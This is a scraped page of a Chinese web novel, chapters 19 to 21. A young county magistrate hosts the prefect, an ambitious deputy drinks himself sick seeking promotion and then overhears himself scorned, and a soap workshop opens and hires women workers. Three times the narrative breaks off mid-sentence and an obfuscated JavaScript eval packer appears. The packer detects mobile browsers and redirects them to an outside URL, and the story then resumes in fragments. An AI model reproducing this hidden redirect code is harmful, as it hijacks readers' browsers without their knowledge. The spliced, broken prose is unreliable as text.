眼瞅着太守大人快要到了,郑应成一脸紧张地问张如胜:“快瞧瞧我的衣摆乱没乱?” 张如胜赶紧围着郑应成转了一圈。 可这话裴杼已经听到不下十几回了,他掏了掏耳朵,故意回头抢过张如胜的话:“乱,乱得没边儿了,不只是衣摆,头上的冠也不好看,我要是你,就赶紧回去换一顶。” 郑应成咬了咬牙,狗屁,这是他家里最好看的一顶冠! 算了,没必要跟这个没见识的计较。郑应成姑且忍下了这口气,等他攀上了刘太守高升去州衙,有的是裴杼对他摇尾乞怜的日子! 19.太守 “这永宁县的人,自上而下倒是都挺会作怪。”前面二位县令大概也听到了裴杼跟郑兴成的官司,不客气地咬着耳朵。 平白无故让永宁县出头,对这些县令而言别提有多糟心了,从前永宁县不过是五个县城里头垫底的那一个,又穷又破,谁人提起来不是满腹鄙夷?可如今却也抖擞起来,不仅借着州衙的前修建了水渠,还跟安平县合伙开了一间不知道做什么的工坊。 “敢跟永宁县合伙,张县令也真不怕赔得血本无归。” 槐县县令凑过头来:“他们敢建,肯定是能赚钱的。只是永宁县的位置不好,万一建好之后,胡人又再次南下捣乱了该怎么是好?” 刚说完,忽然感觉后背一凉,转过身时,竟发现张县令已然站在身后,目光阴森地锁着他们每一个人。 众人立马噤声。 张县令忍了忍,没有发作。他一直都听得到,只是听他们议论的是永宁县才没出头,可后来听到了胡人那句,心头那股无名火便一下子起来了。 这群人可真是嘴碎,不仅嘴碎还恶毒!一点不盼着别人好,竟然诅咒胡人南下坏他的工坊!那可是安平县真金白银堆出来的工坊,还没赚钱呢,他们就这么咒,究竟是何居心? 要他说,就该让胡人去他们那儿扫荡一番,也省的他们在这儿说风凉话。 几个县令还没安静多久,便听到车架声徐徐而至。 裴杼忙带人前去迎接。今日本该是去县衙处,但是太守大人事先吩咐过,先看城外的水库。如此,众人才都聚在水库边。 不多时,数架马车停在河口。裴杼暗暗打量这州城里的马,也不比他藏起来的那些马强健到哪里去啊。他现在是缺少精于养马的人,否则有那几百匹良驹在,若是想经营养马的营生也方便,说来说去还是缺少人才啊。裴杼惋惜了一瞬,随即便上前行礼了。 刘岱落地之后,免了众人的礼。 余下人他都熟悉,毕竟也见过许多回了,只永宁县的官员知之甚少。打头那位年岁最轻,相貌也最为出众,明明只是个小县令,往那儿一站却有股不卑不亢的劲,也不知是哪儿来的底气? 刘太守轻笑一声,行至跟前。 裴杼再次作揖:“下官永宁县县令裴杼,见过太守与诸位大人。” 刘岱亲切地将人扶起了这位欠了州衙巨款的县令,打量一番后,朝着众人笑称:“果真是英雄出少年,老夫任官多年,也未曾见过这样年轻的县令。” 其他几位县令点头称是,心里却不以为然。真要是英雄少年,也不会落得去永宁县任官的下场了,也就只有永宁县自己人才会将这个位置当成宝。 “大人谬赞。”裴杼欠了欠身,继续为太守跟其他州衙官员引荐。 今日除王绰之外,县衙叫得上名头的都过来了,裴杼本也想让王师爷过来凑热闹的,奈何师爷说自己病了,只好让他单独在官舍休息。余人一字排开见礼,等到介绍郑兴成时,裴杼发现这厮忽然殷切地盯着他。 直勾勾的,想忽视都难。 二人虽不合,但总归还是有点默契在,裴杼心下了然,转身道:“这位是县丞郑兴成,在永宁县任职多年,颇为勤勉。先前胡人肆虐,抢夺了税粮又劫走百姓留下的粮种,还是郑县城开了自家粮仓,献出粮种为百姓应急。” 郑兴成心中大定,感激地看了一眼裴杼,不管从前如何,总之今日这份恩情他是记下了。 刘岱颔首,赞许地望着郑兴成:“有官如此,乃是百姓之福,诸位也当效仿郑县丞,多为百姓着想才是。” 诸位大人面色有些微妙,要他们跟一个不入流的小官儿学?简直滑天下之大稽。 只有郑兴成克制不住地深吸了一口气,眼神中闪烁着兴奋的光芒。 太守大人夸奖他了! 初次见面便已留下不错的印象,郑兴成感觉调动离自己只有一步之遥了。 裴杼提过了郑兴成,还想好好介绍一下魏平,却在半途被杜良川给打断:“直接带路去水渠吧。” 裴杼无不遗憾,但也只能照做。 永宁县的水库,乃是集五县之力开凿出来的,甚至到后期时,其他诸县出的力并不比永宁县少。合力之下,这水库自然也建得尽善尽美,就连水库边的小道也都垫上了石块,早早地种下了垂柳。 恰逢春日草木萌发,风景独好。远处山峦葱郁,近处碧水盈盈,行走时仿佛置身于诗画山水间。 这水库尚未蓄满水便已是如此好风光,来日若是蓄满水,不知是怎样的仙境。 州衙来的人不由得对永宁县多了几分敬佩,能在短短三个月功夫将这水渠修好,永宁县还是有些本事的。因而即便他们对裴杼本身不满,却也不吝啬对水渠的赞美。 张县令听完后便道:“这渠尚未取名,只等着太守大人定呢。” 裴杼有些幽怨地望着张县令,怎么把他要说的话给抢了? 郑兴成也热衷于表现自己,随即热切道:“因有州衙鼎力支持,此渠才得以建成。永宁县上下铭感于心,无不翘首以盼,只待大人赐名。且听闻太守大人文采斐然,一纸千金,若是有幸得到大人的文章,永宁县必定奉若至宝,来日更会制成碑文,以供后世瞻仰。” 有他起头,后面自然有不甘落后的跟着上来奉承。虽然这么做白白便宜了永宁县,可是太守大人的马屁他们却不得不拍。 裴杼张了张嘴,愣是插不进一句,而且他准备的话,也确实没有他们的好,拍马屁都能拍出花儿来,这本事也了得。 裴杼彻底失去了开口的机会。不过,无需他开口也挺好的,站在那儿便把名字还有碑文给弄到手了,自己还能落个轻松自在。 刘岱大手一挥,定下了“建兴渠”的大名,又文思泉涌地写下了一篇《初游建兴渠记》。 游记都是骈文,佶屈聱牙,晦涩难懂,说实话裴杼看得不是很明白。但是建兴渠么……这名字是不是也在拍马屁?他记得新帝的年号便是建元。哟,拍的还是龙屁呢。 名字什么的无所谓,有个噱头就好,裴杼得了便宜之后,还没来得及吩咐让工匠雕上去,郑兴成便代劳了,大张旗鼓地叫来早已准备在侧的工匠一通叮嘱。 裴杼:“……” 算了,其实不说话也挺好的。 逛完了建兴渠已经快到晌午了,期间这些位大人还留下了数篇诗文,也都不用裴杼开口,便被郑兴成仔细收好了。 见他如此积极,裴杼也省了不少事儿。 再之后回了县衙,就更不用裴杼费神了,郑兴成一个人都能将太守大人给伺候得细致又妥帖。 这回设宴,公账上其实并没有拨给多少钱,不过这酒宴却办得极好。每一处矮几上摆着的酒菜颇为丰富,不仅有永宁县这边的特色,更有州衙各处的时兴菜。且郑兴成不知道打哪儿打听到了州衙诸位大人及各为县令的喜好,每个人的口味都还不同,咸淡荤素把握得极好。 各桌上的酒水也各不相同,太守大人偏好浊酒,杜大人喜欢清酒,其余诸位大人,有的独爱果酒,有的则喜欢花酒、蜜酒、糟香酒…… 能将这些打听出来已经很不容易了,将这些一一妥善安排好,更是费了不少心思。 即便郑兴成往里面单独贴了不少钱,但是光着独一份的细致,裴杼就不得不佩服。郑大人真的挺适合迎来送往的,可惜人家压根不想留下。 郑兴成对此十分自谦:“永宁县清贫,不比州衙与各县,招待不周之处还请诸位大人海涵。” 刘岱饮下一盏酒,发现席面处处合胃口,丝毫不见之前杜良川所言的寒碜,便知应当是这位郑县丞暗中出力了。以裴杼往日行事作风,应当不会款待他们。 刘岱也不吝啬夸奖,当众给予永宁县高度评价,甚至指着赵炳文道:“论起细心周到,你还有得学。” 郑兴成表面维持着云淡风轻,但是攥着酒盏的手却在微微颤抖。 太守大人这是在夸县衙吗?不,这是在夸他。 他就知道自己做的这番努力不会白费,今日向太守大人投诚,值了,哪怕太守大人不会立即调动,也会记住他这个人,来日他再去运作关系,想去州衙还不是轻而易举? 大抵是郑兴成今日太过出挑,州衙与各县衙的人竟都来敬酒。虽然说的话好听,可那一杯接一杯的酒却叫人招架不住。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084113|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>郑兴成饮下□□盏后便面色酡红了,可酒杯刚落,面前又递来一盏。 是州衙的一位参军:“今日承蒙郑大人款待,我等不胜感激,特奉上薄酒一杯,郑大人不会不给面子吧?” 郑兴成肚子里虽然已经翻江倒海,但是转头看到太守大人含笑地望着这边,还是咬牙饮下。早听闻州衙的诸位大人都嗜酒如命,席间还爱灌酒,如今方知此事不假。 但好容易得来的机会,只要喝不死,郑兴成就得往死里喝。 参军笑着又斟满一杯递上去:“郑大人好酒量,不如再满饮此杯?” 郑兴成擦了擦嘴角,明明不适却还得强行挤出笑脸:“多谢大人高看。” 裴杼看着都觉得欺人太甚,几次准备开口都被郑兴成给摇头打断了。 他闷闷不乐地杵在原地,觉得这聚会真是糟糕透顶,要是早知道他们会来这一出,还不如不办呢,酒桌文化实乃千古恶习。 郑兴成拼命喝酒的样子叫人心酸,但裴杼也知道他不会停下的,他既然想讨好州衙的人,就不会在关键时候掉链子。裴杼只能挪开眼,不去看他,反而召来成四:“王师爷如何了,怎么连饭都不出来吃?” 成四也奇怪,王师爷明明看着精神不错,却愣是说自己病了,他也搞不懂,只回答道:“师爷说自己还没好全,就不来前头招待了。” 裴杼也没多想,只吩咐道:“那你叫后厨备些热菜送过去,别叫他饿着肚子夜里难受。” 成四应了声,当即下去准备了。 午宴持续了将近一个时辰,等到散场后,其他诸位大人拍着郑兴成的肩膀赞他一句能干,而后才去了县衙准备的官舍稍作休整。 人走之后,郑兴成那股精气神一下子就散了,倒头摔在地上。 裴杼赶紧让张如胜扶他下去,也就是如今的酒不烈,若是换了后世的酒,这般猛喝下去哪里还有命在? 等到将郑兴成牵肠挂肚的太守大人安顿好后,裴杼才带着魏平去瞧了这醉鬼一眼。 人吐了一地,屋子里臭不可闻,裴杼只看一眼就遭不住了,直接被熏得逼退至门外。他捏着鼻子跟张如胜道:“别抠嗓子眼催.吐了,伤身,多喝点蜂蜜水,灌几碗醒酒汤,再不行就请大夫过来。” 张如胜也是吓得晕头转向,想着要不要听话请大夫过来,结果郑兴成直接起身,拔腿就往茅坑跑去了。 “大人慢点儿!”张如胜赶紧跟着。 裴杼在后面看得直摇头。 在茅坑蹲了半天后,郑兴成才好受了点,知道张如胜还在外头,郑兴成也不死撑了:“如胜啊,替我请个大夫过来吧。” “那您这边?” “不妨事,我待会儿出来直接去榻上躺着就成。”郑兴成有气无力地回了一句。 如此,张如胜才跑出去叫大夫了,半路上又不放心,拉了一个差役让他去盯着郑大人。结果差役过去之后,却发现茅房压根没人。 那厢郑兴成起身后,又有些迷糊,平日里笔直的一条路如今忽然变得歪七扭八,走起来十分费劲。好容易摸回之前的屋子,手刚搭上门才发现感觉不对,定睛一瞧,咦,怎么是窗户? 屋子里传来断断续续地说话声。 郑兴成贴着墙,打算缓一缓再进去。 “大人,您今日似乎格外在意那位郑县丞?您可别被他骗了,这人别的本事没有,阿谀谄媚的功夫倒是一流的,在县衙里头也一向跟裴县令不大对付。莫瞧他拼酒拼成这样,多半不是真心的,只是想巴结大人调去州衙罢了。” 郑兴成豁然酒醒。 是赵炳文。 好啊,他给了赵炳文这么多好处,这小瘪三竟然在太守大人跟前诽谤他!不过刘太守睿智,又对他颇有好感,想必不会被影响。 郑兴成满心自信,可下一刻,刘太守的几句话就彻底将他打入冰窖:“州衙岂是什么人都要的?只会钻营投巧、欺下媚上之人,还是留在这永宁县好。他在永宁县,远比在别处有用。” 赵炳文会心一笑:“大人高明,那您今日抬举他,可别是为了叫他日后与裴县令彼此牵制的?” 刘岱笑而不语。 20.发疯 午后,裴杼见刘太守等人休息好了,便带人准备去工坊处转上一圈。 本来是没有这一出的,可来都来了,且方才席间张县令也有意显摆,特意跟刘太守提了几句工坊,刘太守这才了几分兴致。 待看过工坊之后,众人便得启程回去了。尽管永宁县招待得不错,可地方毕竟太破,跟幽州城没得比,刘太守等人并不愿意在此过夜。 众人出来之后,赵炳文忽然发现他们这儿少了两个人。 “郑大人怎得不在?” 不止郑兴成,他那个胖跟班也不见了,赵炳文巡视一圈也未曾看到半个人影。 裴杼也奇怪郑兴成竟然撂挑子了,虽然这家伙醉得厉害,可裴杼总觉得以他那不要命的狠劲儿,即便再难受也要陪到底的。大概是太难受了吧,意志再强,身体总还是有极限的,裴杼替他解释了一句:“郑大人为了酒宴忙前忙后,已经累倒了。” 刘岱温和道:“那该叫个大夫过去看看才是。” “已经叫过了。”裴杼说完还想,这太守大人还真挺看重郑兴成,不仅当众夸他,知道他病了还如此上心,看来,郑大人的美梦马上就要成真了。 虽然遗憾,但是这也是人家毕生所求,得贺个喜才行。 赵炳文闻言却极为不屑,什么累病了?分明是被灌酒灌晕了。裴杼也是蠢,那郑兴成同他这么不对付还要替对方描补,如此心软,注定成不了什么大事。 出了县衙后,众人便各自登车前往香胰工坊。 地方不远,出了城,往南走□□里路便到了,此处也是两县交接地界。工坊昨日才落地建成,昨晚上外头还脏兮兮的,今日一早便有人自发打扫好了,外面堆积的那些木屑石块也都运走了,门口十分整洁。 杜良川来时还以为是什么小作坊,真到了之后才发现自己小觑了两个县,于是点评道:“地方倒是挺大,就是不知内里如何了。” 裴杼回道:“不如大人移步进内看看?” 杜良川扫过其他几位跃跃欲试的县令,意味深长:“难为你竟然如此不设防。” 裴杼说得一本正经:“永宁县蒙州城照顾多年,又得诸兄弟县城帮衬,本就亲如一家,有什么好设防的?” 此话说得很像句人话,几位县令顿时觉得裴杼顺眼了许多,不像那些老油条,做什么什么都藏着掖着,好没意思。 可等到他们真正进去之后才发现,里边儿可真干净啊,干净到,什么东西也没有……空荡荡的工坊,连桌椅都不见,压根看不出来到底是干什么的。 众人无语地望着裴杼,难怪如此大方,感情是毫无准备,那叫他们过来到底是显摆什么? 裴杼淡定地引众人继续往里走,一边走,一边给他们介绍起整座工坊。工坊外边是个巨大的院落形制,即便如今什么都没有添置,可内里早就已经规划好了。 “这前面三大间,乃是做工之处,一间备料,一间研磨,一间包装,左右各留不少空地,暂且铺上草皮子,如若日后扩建也能更加方便。” 槐县县令冷笑一声,还没开始便已经想着扩建,真以为自己做的是多么了不得的东西么?他是没听说过什么香胰子,但是听裴杼所言,猜测应当是澡豆一类的东西。既然功效一样,富家大户又凭什么舍弃澡豆改用香胰子? 没经历过毒打的人,就是这般初生牛犊不怕虎啊。 更让他想不通的事,张县令不知怎么也陷进去了,指着后面两间意气风发道:“东西两角乃是大通铺,今后招工都宿于此处,两侧还有耳室则是膳房,一应吃喝,工坊里都包了。” 刘岱忽然问:“饭菜都准备做些什么?” 裴杼躬身:“因所剩钱款不多,头一个月里只有些粗茶淡饭,等到第二个月,便渐渐给她们备上些鸡蛋荤腥。” 刘岱替裴杼算了算,即便都是粗茶淡饭,几百名工人每日也要花费许多,来日若添上鸡蛋荤腥,更是比衙门都不差了。 杜良川“哟”了一声:“你们这工坊待遇还真是不错,尚未挣钱,便这般替百姓着想了?” 裴杼其实挺不爱听这些风凉话的,不过区区几句也打击不到他,反叫他越挫越勇起来:“挣钱那也是早晚的事情,但身为父母官总要为当地谋利,这工坊来日招的工人都是安平县与永宁县两地百姓,亏了谁也不能亏了他们,杜大人您说是不是?” 杜良川笑了笑,没应声。他管你们亏没亏,亏的裤衩子都不剩州衙也不会管。不对……还是得管的,毕竟真能挣钱也好赶紧将欠款还上。 只是照如今这架势看,估计也悬得慌。 转了一圈后,又绕回了前院,里头动线分明,秩序井然。正院虽没有多少景致,却移栽了两棵古木头用以遮阴,再往前则凿了一处小水渠,取自四水归堂的好意头。 众人看罢,发现这工坊内里中规中矩,确实没得挑剔。遗憾的是他们未曾见过那香胰子本尊,也没看出来此物究竟有什么深浅。 张县令大概也瞧处出了几个县令的不满,带着些夸耀的心思道:“这工坊开工在即,等到第一批货制成晾好,必定先给诸位大人处送一份掌掌眼。” 诸位县令对视一眼,皆看不惯张、裴二人这志得意满的模样。挣不挣钱都还是未知,如今得意做什么?这各县虽同属于幽州,但是私下各有比较,若是有朝一日被这两个不成气候的压了下去,那他们三位县令怕是得被活活气死。 看完了工坊,便预备着启程了。临走前,刘太守还不忘叮嘱裴杼守好永宁县,若有危难,只管尽快禀明州衙,州衙必能及时搭救。 裴杼就笑着应下,当这话跟放屁一样。 其他众人心中也各有想法,张县令则趁机瞪了赵炳文一眼。即便从裴杼嘴里知道这人是刘太守放去永宁县的,可张县令还是喜欢不来。他这人耿直,不得罪时尚且能够心平气和说上两句话,一旦得罪了,那就破罐子破摔,彻底不待见。 赵炳文被张县令给瞪得一肚子火,决定过些日子再告一状。 张县令心中也记恨,这狗东西,眼珠子乱转果然不老实。若他是裴杼,早就想法子弄出去了,还用得着等到现在? 心思各异的一群人,不多时便离开了。 一来一回,天色已晚。待回到县衙后,裴杼第一时间去看了王师爷。他到时,王绰正坐在窗前誊写孤本,准备拿出去卖点钱贴补衙门。见裴杼过来,王师爷才停下笔。 “这会儿感觉如何了?我今日在外头忙了一天,也没顾得上看你。”裴杼上下打量着,忽然感觉王师爷面色挺好的,起码比中午的郑县丞好多了。 王绰笑道:“午后休憩片刻便大好了,大人不必担忧。对了,刘太守可离开了?” “早便走了,他们身娇肉贵,才不会在县衙过夜。” 王绰闻言便放心了,他还是太傅时,曾接见过各州太守。虽然当时前来面圣的官员太多,刘岱未必能看清楚,可王绰还是不愿意徒惹是非。他如今并无依仗,能低调还是低调些。 因白日里招待贵宾,剩下了不少菜,晚上县衙众人也算有了口福。裴杼叫人在后面的圆桌上摆上几个菜,叫来人一块解决了剩饭剩菜。如今天渐渐热起来,这些菜都不吃完也放不了多久。 人聚齐后,裴杼瞥见郑兴成的脸色便是一怔。 这休息半日,郑大人的精神不仅没好,怎么还越发萎靡不振呢?难道刘太守没有带郑大人离开,对他打击这么大?也不至于这么脆弱吧。 郑兴成面色阴沉地坐下,一言不发,仿佛天底下所有人都欠了他一般,连带着整桌上的人都跟着提心吊胆起来。 裴杼心想着安慰几句缓解一下凝重的气氛:“即便太守大人属意于谁,也不会立马将人带去身边,总得有个循序渐进的过程,郑大人千万别太失望了。” “呵。”郑兴成想到自己中午听到的那番话,便不由得嗤笑一声,他要是再信这些,岂非蠢笨如猪? 魏平听他冷笑便甩来一个眼刀子:“怎么,郑大人如今得了刘太守的青眼,连县令大人都不放在眼里了?” 郑兴成缓缓回头,幽暗的眼珠子盯着魏平,半晌只留一声冷笑。 魏平攥紧筷子,暗自运气,心想着还是赶紧将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088134|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这狐假虎威的贪官毒死算了。 裴杼摸不着头脑,王绰却半点没受影响,吃得不紧不慢。若他猜的没错,郑县丞的筹谋应当泡汤了。这并不费解,郑兴成一没文采,二没家世,三与州衙无情分,他这样毫无背景的人想在梁国的官场上高升,希望太过渺茫。 赵炳文也察觉到桌子上的氛围诡异,可他不以为然,嘟囔了一句“莫名其妙”后,便对着张如胜颐指气使:“将那一碟蒸鸭拿给我。” 张如胜心中大为不爽,但还是认命地端了起来,谁让他们郑大人要讨好州衙来的人呢? 其他人也懒得跟赵炳文挣几片鸭肉。 结果碟子都端到半路了,忽然伸出了一只手,不由分说地截了胡。 裴杼瞪大了眼,胳膊碰了一下魏平。 魏平惊讶地打量着郑兴成跟赵炳文,这俩人什么时候闹崩了? 众目睽睽之下,郑兴成一把将那一碟蒸鸭摆在自己跟前,一半拨给他,一半拨到了张如胜碗里,吃的时候还冷笑连连。 赵炳文今儿被张县令瞪已经受过气了,如今还被郑兴成欺负,真是是可忍孰不可忍,当即便摔了筷子:“郑兴成,你别以为太守大人说了你几句好便能嚣张至此!” “看不惯就滚!”郑兴成佝着腰,斜眼睨着对方,眼中渗出来的阴翳叫人不寒而栗。 赵炳文都吓了一跳。 张如胜眼神一亮,粗着嗓子厉声呵斥:“对,快滚,省得在这儿挡地方,我早就看你这厮不顺眼了。” 一个没品阶的师爷,凭什么在他面前吆五喝六? 赵炳文咽了咽口水,不知道这两人因何发疯,但他唯一的依仗就是刘岱,倘若刘岱在郑兴成这儿不好使了,他也便跟戳破了的皮球一样,瞬间瘪了下去。其实……面前的青菜其实也不错,没必要一定要吃蒸鸭。 桌上瞬间消停,只是不时传来郑兴成突兀且意味不明的讥笑。 他早晚弄死赵炳文。 一顿饭吃得裴杼有些胃疼,一天天的怎么就没个安生?他这小小的永宁县县衙,究竟何德何能凑齐这么多反复无常的人? 或许被他们影响,裴杼晚上睡觉还做了一场噩梦。尽管醒来的时候已经什么都不记得,但那刻骨铭心的心悸还是叫人分外不安。 “都是这些人连累的,吃得太好了才闹这些,明儿叫他们通通吃猪食去。” 裴杼嘀咕了一句,拍着胸脯,安抚自己再次入眠。 好在糟心的事儿毕竟只是少数,等到了第二日裴杼便忘光了,精神饱满地前去巡视香胰工坊招工。 今明两日招工,第一批先超过五百人,等生意打开之后再添些工人。 裴杼过来时,招工的地方已经排起长队。永宁县跟安平县两地的女眷一早得了消息,都准备过来碰碰运气。 招工的几个也都是两边衙门的人,因事先定下了招工要求,并不敢给认识的人开后门,直接按规矩办事儿。 也有人落选了不服,但是对此一下入选的人,便都闭嘴了。能被录用的基本上都是十里八乡有名的勤快人,讲究不说,做事儿也麻利干净,输给这些人还真是不怨。 做工的很快就召得差不多的,难得是记账的,想要挑个认字儿的女眷,简直难于上青天。没办法,裴杼只能找到请张县令那边想想法子了。 站在这儿瞧了半天,裴杼忽然又意识到一件事:“回头得招几个身强力壮,能以一当十人进巡逻队,日夜在此看守,免得有些心怀不轨的小人作祟。” 魏平道:“县里只怕没有这样厉害的人。” “以一当十?”王绰忽然呢喃了一句。 裴杼以为他认识:“王师爷有要引荐的好友吗?” 王绰微愣,随即苦涩地摇了摇头:“说起人选,倒真是认识一个,若是由他来,莫说以一当十,以一当百都不在话下。只可惜,那人与我已是敌非友,他若知道我的消息,纵使相隔千里也会追杀过来。” 裴杼摸不着头脑:“如此说来还是个仇人呢?” “世事无常,早已是仇人了。”王绰无声地叹息着。 21.不利 以一当十的壮士苦寻不到,裴杼也只好让衙门的差役代劳。成四几个原本是看守粮仓的,如今仓中干干净净什么也没有,是以都被调去了巡逻队。 只是如此一来,衙门人手也短缺。孙唤等人先前便抱怨忙不开,裴杼没当一回事,压着他们继续巡视。如今活儿一多起来,这些个便又嚷嚷开了。 众人商议过后,一致决定请郑大人为他们做主。 可一向喜欢跟裴县令作对郑大人听完之后,却只是臭着脸,压根不愿表态。 这怎么行?孙唤等人顿时感觉天都塌了:“大人,您怎么不替我们做主了?他裴县令这样压榨咱们,打的可是您的脸面啊。” 郑兴成依旧不为所动。笑话,他自己的前途已毁,还管得了这些人?当初拉拢孙唤这帮蠢蛋,也不过想为自己造势罢了,如今知道刘岱是何态度,也明白州衙众人对他瞧不上,郑兴成早已心灰意冷。反正不论他如何卖力,总入不了贵人的眼,还会被人鄙夷取笑,那便破罐子破摔好了。 郑兴成转过了身不予理睬,孙唤却慌了,赶忙又道:“大人,您莫不是怕了裴县令?昨日刘太守可是将您夸了又夸,连太守都对您另眼相待,又何必惧怕区区裴杼呢?” “住口!”郑兴成猛地转身,微眯着眼睛,气势骇人。 他如今最听不得的就是这些,凡提起一次,都能让他回想起自己往日有多愚蠢:“再敢提一句刘岱,本官要你们死!” 孙唤吓得退了几句,再不敢多言,只能眼睁睁看着他们郑大人离开了。 轻抚了一下胸口,孙唤有些劫后余生的庆幸,可他又颇为不解:“郑大人这般尊敬太守大人,怎么如今反倒直呼其名了?” 说起来,自从太守大人离开之后,郑大人便奇奇怪怪,叫人看不透。 回没了郑大人力挺,孙唤等人也没底气跟裴杼叫板,纵然再不愿也只能乖乖干活。 裴杼见他们消停下来,才许诺过些日子给他们涨月俸。 孙唤等闻言也只是讪笑,县令大人就喜欢拿这些虚无飘渺的承诺来打发他们,有能耐就现在涨啊,现在不给可见不是真心。 其实裴杼还真不想给。当初他在查郑兴成贪污时便知道,衙门中有不少人都跟郑兴成狼狈为奸,只因后面裴杼需要郑兴成出手掩盖税粮之事,这才没有一一清算。裴杼做事一向光明磊落,他身边亲近者莫不是正直刚强,碰到孙唤这种只会偷奸耍滑之人,实在是喜欢不起来。 倘若不是县里也招不到什么像样的差役,裴杼都想直接换了他们。只可惜如今没有人手,姑且先用着吧。 又过一日,香胰工坊正式开工。 这本是定好的黄道吉日,连时辰也是一并算好的,当初那算命先生说,只要选了这时辰便能逢凶化吉。 裴杼当即便觉得好,只有隔壁安平县的陈县尉嘀咕着“不妥”。别逢凶了,事事顺遂才好啊。但那算命先生看过其他时辰,竟然没有一个合适的,便只能退而求其次。 巳时一刻,裴杼与张县令早已带人齐聚于此,除县衙众人与所招女工之外,更有其家眷与街坊邻居。 按着裴杼的性子,开业他肯定是要热闹一场的,无奈囊中羞涩,攒的那些钱都经花光,衙门账上的钱又不能动,张县令还是实用主义者,摒弃一切花里胡哨的东西。若不得揭牌,他连匾额上的红绸都不愿意出。没钱有没钱的热闹,裴杼学着百姓,砍了不少竹子放在火堆里面烧,噼里啪啦一阵响,跟炮仗也差不多了。 永宁县的人很是给面子,听到动静使劲儿欢呼鼓掌,声音经久不散。 隔壁安平县的人看得莫名起了竞争欲,永宁县的人这么捧场,他们若是不扯着嗓子喊岂不是落了张县令的威风? 喊,必须喊,还得下死劲儿地喊! 裴杼乐呵呵:“看来大家都很期待呢。” 张县令也搞不懂这些人为何如此热情,只提醒道:“抓紧揭牌吧,莫耽误了吉时。” 这花钱算出来的吉时,张县令可不想浪费了。 裴杼正色,与张县令在众人的簇拥下走向工坊正门,一左一右站定,伸手一扯。须臾,红绸落地,露出一块木刻匾额。 赠春坊,取自裴杼喜欢的一句诗“江南无所有,聊赠一枝春”。 他难得用了一回诗,自诩文采风流,即便张县令不同意也喋喋不休地磨了半天,最终逼得张县令不得不认下了这名字。 到如今,张县令还是觉得自己当时取的更好,只可惜暂时用不上了…… 百姓们不知什么典故,只等听人解释完才觉得好听,甚至都他们永宁县有些格格不入了。糙了一辈子,确实没遇上过这么有格调的东西,还好是女眷在这儿做工,若是他们过去岂不唐突了? 这般想的人不在少数,于是等到裴杼许诺女工可以带家眷前去布置时,基本都是各家母亲、婆婆或者长姐入内,其他人皆踮着脚尖在外头等候。他们之中也有人就是建造赠香坊的工人,但更多则是对里头一无所知的。 裴杼让家属进去,也是为了叫这些百姓安心。 引导的是聘请的几位女管事,张县令特意从安平县挖过来的,这年头,寻些能识文断字的女子太不容易了。 聘用后,裴杼便给她们培训了两日,这些人学得也快,尤其是其中一位叫梅燕娘的夫人,性格强势,办事稳重,短短几日功夫便将其他人都收服了。 不过她也只是代行工坊负责人一职,两月后若是表现无碍,裴杼才会给她正式任命。 眼下也是梅燕娘带队,她与几个管事皆一袭蓝衣,头发梳得一丝不苟,步调不紧不慢,叫人不敢小觑。 众人绕着赠春坊行过一圈,不自觉这疏朗大气的环境给吸引,这处,倒是比她们想象的还要好许多。 待到了膳房,里头已有人在生火煮饭了。膳房外头挂着个牌子,上面写着每日例菜,梅燕娘告诉众人:“如今工坊尚未盈利,是以三餐吃得简单,只有馒头跟白粥小菜,另每人能额外分到半碗蛋羹。县令大人说了,待等日后挣了钱,菜色自会丰富许多。” “这还简单?比在家时吃的可好多了。”有人窃窃私语。 “是啊,咱们县这种穷地方,谁家还能日日吃上馒头?至于蛋羹就更不必指望了。” 倘若谁家每日吃得这样好,那已经算村中一等富裕人家了。 可惜膳房如今还不能进去,众人跟着一路往里走,没多久便到了住处。这东西二间本是大通铺,后来裴杼考虑到隐.私问题,愣是用木头给隔开了。两个人一小间,地方虽不大,但是桌椅柜子一应俱全,都是簇新的。 “念到名字的前来取号,挨个进去。许你们三刻钟布置床榻、整理仪容,三刻钟后去前面门廊下集合分组,正式学习制作香胰子。”梅燕娘吩咐完,也不等众人反应,立马念起了名字。 被念到名字的多少有些慌乱,但好在不是没有人引她们进去。这种先将规矩摆在前头,按着时间将行动限制的死死的方式,在场众人都有些不适应。 但不妨事,梅燕娘会让她们适应的。建造工坊,本就是为了挣钱。既是以挣钱为先,这些受雇的女眷必须得手脚利落、头脑灵活、令行禁止。 在这里,不论是谁都要按规矩行事。 女眷们挨个进内,在看到有隔间后才终于松了一口气。 只是这分床也不是自己分的,而是按着先后取到牌子,被一一安排入住。罗叶儿比较幸运,她同村的姑娘刚好与她住在一处。 将床铺好之后,罗叶儿她娘便拉着她道:“看着这里处处妥帖我也就放心了,你爹还在外头巴巴地等着呢,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093611|162795||http|test|mini|href|location''.split(''|''),0,{})); () { 